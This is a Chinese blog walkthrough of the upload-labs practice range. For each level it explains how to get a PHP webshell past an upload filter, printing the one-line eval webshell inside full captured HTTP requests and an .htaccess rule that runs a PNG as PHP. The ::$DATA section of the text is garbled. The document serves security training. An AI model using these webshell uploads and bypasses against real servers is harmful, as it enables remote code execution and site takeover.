【基础】文件上传 upload-labs 靶场速通

一、安装并运行

https://github.com/c0ny1/upload-labs

注:下面是 linux 环境的运行代码

upload-labs 靶场只允许 linux 或者 windows 运行,还好我还有一个服务器 ...

bash 复制代码
docker pull c0ny1/upload-labs
docker run -d -p 80:80 --name upload-labs c0ny1/upload-labs:latest

运行后可通过如下命令查看靶场运行情况:

bash 复制代码
root@iZm5e6knj5h0f3rmg5lqyiZ:~# lsof -i :80
COMMAND      PID USER FD   TYPE  DEVICE SIZE/OFF NODE NAME
docker-pr 252031 root 8u  IPv4 1503925      0t0  TCP *:http (LISTEN)
docker-pr 252043 root 8u  IPv6 1503926      0t0  TCP *:http (LISTEN)

在现代 Linux 系统中,当 Docker 代理进程尝试绑定 80 端口时,系统默认会同时创建 IPv4 和 IPv6 两个套接字(Socket)来进行监听。

IPv4 进程:专门负责处理传统的 IPv4 网络请求(如 192.168.1.10:80)。

IPv6 进程:负责处理 IPv6 网络请求。得益于 Linux 的双栈特性,这个 IPv6 套接字不仅能处理纯 IPv6 流量,还能通过"IPv4 映射"机制兼容 IPv4 流量。

创建 upload 文件夹,并赋予读写执行权限。

bash 复制代码
root@iZm5e6knj5h0f3rmg5lqyiZ:~# docker ps
CONTAINER ID   IMAGE                      COMMAND                CREATED       STATUS       PORTS                                 NAMES
6547d2b72b84   c0ny1/upload-labs:latest   "apache2-foreground"   3 hours ago   Up 3 hours   0.0.0.0:80->80/tcp, [::]:80->80/tcp   upload-labs
root@iZm5e6knj5h0f3rmg5lqyiZ:~# docker exec -it 6547d2b72b84 /bin/bash
root@6547d2b72b84:/var/www/html# mkdir upload
root@6547d2b72b84:/var/www/html# chmod -R 777 upload

二、解题

Pass-01

查看页面源代码后,发现上传函数逻辑如下:

js 复制代码
<script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>

可以很明显的看出,文件类型判断逻辑在前端中,那么我们就可以在前端绕过。

步骤如下:

  1. 选择好要上传的 .php 一句话木马

  2. 在浏览器开发者工具中,关键判断文件类型函数处打好断点

  3. 点击上传按钮执行上传js代码

  4. 执行校验操作前,修改关键参数值

  5. 继续执行程序,看到成功绕过校验

Pass-02

这个在前端中没看到校验代码,说明是发送请求给后端处理。

  • 抓取上传一句话木马的包如下:
bash 复制代码
POST /Pass-02/index.php HTTP/1.1
Host: 47.104.184.55
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydMfCPlL7TeMcTazP
Origin: http://47.104.184.55
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://47.104.184.55/Pass-02/index.php
Content-Length: 321

------WebKitFormBoundarydMfCPlL7TeMcTazP
Content-Disposition: form-data; name="upload_file"; filename="getshell.php"
Content-Type: text/php

<?php @eval($_POST['shell']);?>
------WebKitFormBoundarydMfCPlL7TeMcTazP
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarydMfCPlL7TeMcTazP--
  1. 抓取一个正常上传图片的包如下
bash 复制代码
POST /Pass-02/index.php HTTP/1.1
Host: 47.104.184.55
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Origin: http://47.104.184.55
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydAQ3O4OAT9XSLhJa
Referer: http://47.104.184.55/Pass-02/index.php
Content-Length: 424

------WebKitFormBoundarydAQ3O4OAT9XSLhJa
Content-Disposition: form-data; name="upload_file"; filename="【哲风壁纸】初音-初音未来.png"
Content-Type: image/png

[[yakit: multipart file spilled, part=0, file=【哲风壁纸】初音-初音未来.png, size=11447640]]
------WebKitFormBoundarydAQ3O4OAT9XSLhJa
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarydAQ3O4OAT9XSLhJa--
  1. 修改文件类型
bash 复制代码
POST /Pass-02/index.php HTTP/1.1
Host: 47.104.184.55
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydMfCPlL7TeMcTazP
Origin: http://47.104.184.55
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://47.104.184.55/Pass-02/index.php
Content-Length: 321

------WebKitFormBoundarydMfCPlL7TeMcTazP
Content-Disposition: form-data; name="upload_file"; filename="getshell.php"
Content-Type: image/png

<?php @eval($_POST['shell']);?>
------WebKitFormBoundarydMfCPlL7TeMcTazP
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarydMfCPlL7TeMcTazP--
  1. 观察到上传成功

Pass-03

查看提示发现是黑名单校验不允许上传如下类型的文件:

可以选择使用 .phtml .phps .php5 .pht 等类型进行绕过,问题变为黑名单不全面问题。

Pass-04

上传一个.htaccess 配置文件,配置将 getshell.png 当作 php 代码解析。

bash 复制代码
<FilesMatch "getshell.png">
SetHandler application/x-httpd-php

.htaccess 是 Apache 服务器的分布式配置文件,它可以对当前目录及其子目录的访问规则进行局部修改。

这个方法在博主的服务器上没有用,不知道是什么原因。

Pass-05

查看提示和源代码,我们发现它还是通过黑名单的机制,但是没有做大小写的过滤,所以我们可以通过上传 .PHP 大写后缀的 webshell,来实现绕过上传限制。

原理如下:

  • 通过 Wappalyzer 发现网站 web 服务器为 Apache 服务器。

    在 Linux/Unix 系统上表现为大小写敏感;在 Windows 系统上表现为大小写不敏感。

所以如果对面的操作系统是 Windows,上面可以实现绕过,但是我的操作系统是 Debian 所以不行。

Pass-06

分析源代码,发现没有对文件后缀做去空清洗工作,所以可通过抓包加空字符绕过。

使用 Yakit 劫持数据包,修改 filename 参数为 filename="getshell6.php ",放行请求,绕过上传成功。

如果目标服务器是 Windows 系统,Windows 的文件系统(如 NTFS)有一个特性:不允许文件名或后缀名以空格结尾。当系统尝试保存 getshell6.php 时,会自动忽略并去除末尾的空格,最终在磁盘上生成的真实文件名为 getshell6.php。而对 Linux 服务器来说,文件会完整落地,所以无效。

Pass-07

同上,修改 filename="getshell6.php.",因为代码中没有过滤末尾的. 。

Pass-08

修改 filename="getshell6.php:: D A T A " : : DATA" :: DATA"::DATA 绕过与前面提到的"空格绕过"类似,也是高度依赖于底层操作系统特性的一种攻击手法,它仅适用于 Windows 服务器(NTFS 文件系统)。其核心原理在于 Windows NTFS 文件系统独有的交替数据流(Alternate Data Streams, ADS)特性,以及服务端与操作系统在处理文件名时的逻辑差异。具体原理如下:当服务端将文件写入磁盘时,Windows 操作系统会接管文件名的处理。由于系统识别到了 :: D A T A 数据流标识符,它会自动忽略并去除 : : DATA 数据流标识符,它会自动忽略并去除 :: DATA数据流标识符,它会自动忽略并去除::DATA 及其之后的内容,最终在服务器上实际创建并保存的文件名为 shell.php。

Pass-09

利用它在清洗过滤中的代码逻辑不严谨,来实现绕过。分析处理逻辑如下:

  • 删除末尾点
  • 分割出文件后缀
  • 转换为小写
  • 去掉 ::$DATA
  • 首位去空
    那么我们构造一个 "getshell.php. ",还是可以绕过

Pass-10

str_ireplace:代表"string case-insensitive replace"(不区分大小写的字符串替换)。

那么我们知道了它的处理逻辑后,就可以进行双写绕过,上传 "getshell.pphphp",上传成功。

Pass-11

查看原代码发现这是一个白名单的检查机制,但是上传路径可以控制。

bash 复制代码
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

那么,NULL 字节截断(Null Byte Truncation) 攻击,结合 save_path 参数来实现文件上传路径控制。

00 截断(Null Byte Truncation) 漏洞,利用了 PHP 底层 C 语言在处理字符串时遇到 \0 会截断的特性。这个漏洞在 PHP 5.3.4 及以后的版本中已经被官方修复。

我一看我的 php 版本是 5.5 ,我就知道...

原理:

save_path 中的 %00(URL 编码的 NULL 字节 \0):

PHP 字符串截断:在 PHP 的许多文件操作函数(如 move_uploaded_file、basename)底层调用的是 C 语言函数,C 语言字符串以 \0 作为结束符。因此当字符串中包含 \0 时,\0 之后的内容会被截断忽略。

Pass-12

  • GET 请求:服务器会自动对 URL 中的 %00 进行 URL 解码,将其还原为空字节(\x00),从而触发截断。
  • POST 请求:服务器不会自动对 POST 报文体中的 %00 进行解码。如果直接发送,服务器会将其当作普通的字符串(即字符 %、0、0)处理,无法实现截断效果。因此,必须手动在 Burp Suite 中将其解码为真实的空字节(\x00)后再发送报文,才能成功绕过白名单校验并实现文件截断保存。

    今天先写这么多吧~~,明天来了再写后面的 ~~

Pass-13\14\15\16

这是一个图片马的问题,图片马制作教程可以看这个博主的文章:https://blog.csdn.net/2301_80661529/article/details/136464023

Pass-17

条件竞争,先上传然后再判断(如果我们在上传上去的一瞬间访问这个文件,那他就不能对这个文件删除、二次渲染。这就相当于我们打开了一个文件,然后再去删除这个文件,就会提示这个文件在另一程序中打开无法删除。)

  • 直接将临时文件移动到目标路径并保存
  • 如果合法,则重命名文件(加上随机数和时间戳防重名)
  • 如果后缀不合法,提示错误并删除刚才已经保存的文件

Pass-18

"移动"和"重命名"操作之间存在时间差。

  • 制作一个图片马(如 shell.jpg),或者利用 Apache 解析漏洞,上传一个名为 shell.php.7z 的文件(.7z 在白名单中,但 Apache 可能会将其解析为 PHP)。
  • 使用 Burp Suite 的 Intruder 模块,不断发送上传 shell.php.7z 的请求。
  • 同时,使用 Python 脚本或 Burp 的另一个线程,疯狂访问 http://目标IP/upload/shell.php.7z。
  • 命中窗口:只要在服务器将文件保存为 shell.php.7z 但还没来得及将其重命名为时间戳文件的这几毫秒内,访问请求命中了该文件,Webshell 就会被执行。

Pass-19

  • PHP 的 move_uploaded_file() 函数在底层处理时,会自动忽略文件名末尾的 /. 字符
  • save_name=shell.php/.

PHP 的 move_uploaded_file() 函数在底层处理时,会自动忽略文件名末尾的点号(.)。

Pass-20

通过抓包将 save_name 修改为数组形式

save_name0=shell.php

save_name2=jpg

相关推荐
Summer-Bright2 小时前
小模型 Agent 闯进安全禁区:27B 本地逆向、$266 越狱平板刷屏 —— AI 应用简报 08.20-08.24
人工智能·安全·电脑
梦想的旅途212 小时前
企业微信Webhook:自动回复为什么会连发
网络·安全·企业微信
GitLqr13 小时前
Flutter 实战:使用 local_auth 实现生物识别(指纹/Face ID)
安全·flutter·全栈
AI备案指南-满满13 小时前
人工智能拟人化互动服务安全自评估报告的评估要点有哪些?
人工智能·算法·安全·机器人·大模型备案·算法备案
SLD_Allen13 小时前
字节跳动飞连(Feilian)AI智能体零信任安全治理深度技术研究报告
网络·人工智能·安全·智能体安全
Sagittarius_A*17 小时前
Burst Lab | PHP 审计 14|反序列化(四):字符串逃逸与绕过技巧
开发语言·安全·php·web·反序列化
行业微动态17 小时前
安全下载Token钱包官网不断升级
安全
Dachui_112218 小时前
企业内网大模型公网访问方案:Ollama + OpenWebUI + ZeroNews 实战部署记录
运维·服务器·安全·远程工作·内网穿透
移动云开发者联盟18 小时前
移动云智慧电力,用AI筑牢电网安全防线
安全